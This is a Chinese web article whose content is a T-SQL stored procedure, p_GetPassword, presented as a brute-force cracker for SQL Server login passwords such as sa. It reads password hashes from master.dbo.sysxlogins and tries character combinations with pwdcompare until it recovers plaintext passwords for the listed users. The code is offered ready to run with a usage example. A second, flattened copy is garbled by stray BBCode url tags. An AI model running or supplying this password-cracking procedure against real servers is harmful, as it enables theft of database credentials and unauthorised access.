wangchao.org
注册 | 登录 | 添加收藏 | 订阅该频道
 
商城汽车珠宝健康家饰女性王朝网络游戏互联网探索下载娱乐学院
 
数码 | 旅游 | 美容 | 母婴 | 家电 | 美食 | 景区 | 养生 | 手机 | 购车 | 首饰 | 美妆 | 装修 | 厨房 | 科普 | 动物 | 植物 |  | 百态 | 编程 | 商品 | 财经 | 信息 | 军事
  
 
当前位置: 王朝网络 >> mssql >> 一个SQL Server Sa密码破解的存储过程
 

一个SQL Server Sa密码破解的存储过程

字体: ||
  一个SQL Server Sa密码破解的存储过程:
  if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
  drop procedure [dbo].[p_GetPassword]
  GO
  /*--穷举法破解 SQL Server 用户密码
  可以破解中文,特殊字符,字符+尾随空格的密码
  为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII
  理论上可以破解任意位数的密码
  条件是你的电脑配置足够,时间足够
  /*--调用示例
  exec p_GetPassword
  --*/
  create proc p_GetPassword
  @username sysname=null, --用户名,如果不指定,则列出所有用户
  @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
  as
  set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
  select top 255 id=identity(int,0,1) into #t from syscolumns
  alter table #t add constraint PK_#t primary key(id)
  select name,password
  ,type=case when xstatus&2048=2048 then 1 else 0 end
  ,jm=case when password is null then 1 else 0 end
  ,pwdstr=cast('' as sysname)
  ,pwd=cast('' as varchar(8000))
  into #pwd
  from master.dbo.sysxlogins a
  where srvid is null
  and name=isnull(@username,name)
  declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
  declare @l int
  select @l=0
  ,@s1='char(aa.id)'
  ,@s2='cast(aa.id as varchar)'
  ,@s3=',#t aa'
  exec('
  update pwd set jm=1,pwdstr='+@s1+'
  ,pwd='+@s2+'
  from #pwd pwd'+@s3+'
  where pwd.jm=0
  and pwdcompare('+@s1+',pwd.password,pwd.type)=1
  ')
  while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
  begin
  select @l=@l+1
  ,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
  ,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
  ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
  exec('
  update pwd set jm=1,pwdstr='+@s1+'
  ,pwd='+@s2+'
  from #pwd pwd'+@s3+'
  where pwd.jm=0
  and pwdcompare('+@s1+',pwd.password,pwd.type)=1
  ')
  end
  select 用户名=name,密码=pwdstr,密码ASCII=pwd
  from #pwd
  go(王朝网络 wangchao.net.cn)
 
标签: Sa  Server  SQL  一个  存储  密码  破解  过程  
一个SQL Server Sa密码破解的存储过程: if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1) drop procedure [dbo].[p_GetPassword] GO /*--穷举法破解 SQL Server 用户密码 可以破解中文,特殊字符,字符+尾随空格的密码 为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII 理论上可以破解任意位数的密码 条件是你的电脑配置足够,时间足够 /*--调用示例 exec p_GetPassword --*/ create proc p_GetPassword @username sysname=null, --用户名,如果不指定,则列出所有用户 @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的 as set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end select top 255 id=identity(int,0,1) into #t from syscolumns alter table #t add constraint PK_#t primary key(id) select name,password ,type=case when xstatus&2048=2048 then 1 else 0 end ,jm=case when password is null then 1 else 0 end ,pwdstr=cast('' as sysname) ,pwd=cast('' as varchar(8000)) into #pwd from master.dbo.sysxlogins a where srvid is null and name=isnull(@username,name) declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000) declare @l int select @l=0 ,@s1='char(aa.id)' ,@s2='cast(aa.id as varchar)' ,@s3=',#t aa' exec(' update pwd set jm=1,pwdstr='+@s1+' ,pwd='+@s2+' from #pwd [url=mailto:pwd]pwd'+@s3+'[/url] where pwd.jm=0 and pwdcompare([url=mailto:]'+@s1+',pwd.password,pwd.type)=1[/url] ') while exists(select 1 from #pwd where jm=0 and @l<@pwdlen) begin select @l=@l+1 ,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)' ,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)' ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97) exec(' update pwd set jm=1,pwdstr='+@s1+' ,pwd='+@s2+' from #pwd [url=mailto:pwd]pwd'+@s3+'[/url] where pwd.jm=0 and pwdcompare([url=mailto:]'+@s1+',pwd.password,pwd.type)=1[/url] ') end select 用户名=name,密码=pwdstr,密码ASCII=pwd from #pwd go
 
声明:王朝网络登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述,文章内容仅供参考。
 
网友评论 查看所有评论
 
 
验证码:  
2008-07-30 06:50:43 繁體版 编辑
 
 
转载本文
UBB代码HTML代码
复制到剪贴板...
 
 最新文章
 ·印度暂缓封锁黑莓 紧盯网密服务密钥- ·黑客借钓鱼网站设陷阱-安全资讯 ·黄海波女友周诗雅性感写真-美女明星 ·一起来看看那些天雷滚滚的广告-搞笑
 ·微软推便携式触摸式鼠标Arc Tou ·图说那些世界上最美丽的地方-风景壁纸 ·快递“先签字后验货”被指违法-业内资 ·QQ.CN成为黑龙江联通IDC业务新
 ·拒绝50万美元奖金 跳槽Facebo ·网络管理员工作错误处理常见十宗罪-安 ·李彦宏百度大会 门票遭黄牛热炒-业内 ·李彦宏坦克大战 搜索可在线玩游戏-业
 ·步步追踪 破译远程控制失效之谜-应用 ·2010年度上半年全国病毒传播趋势  ·网络知识:OSPF路由协议基础-应用 ·林志颖娇妻陈若仪照片大曝光-美女明星
 ·十分钟完全体验Maxthon3.0- ·《庄园物语》8月风靡金山游戏世界 - ·表现满意 快车3.7新版下载能力测试 ·学生开学换手机 专家提醒先安全扫描-
 ·卡巴安全部队震撼发布保护网银安全-业 ·360安全:600万网民电脑龟速开机 ·卡巴斯基全力打造交易安全软件-安全资 ·搜狗“五级加速”引领高速浏览时代-网
 
 
© 2005- 王朝网络 版权所有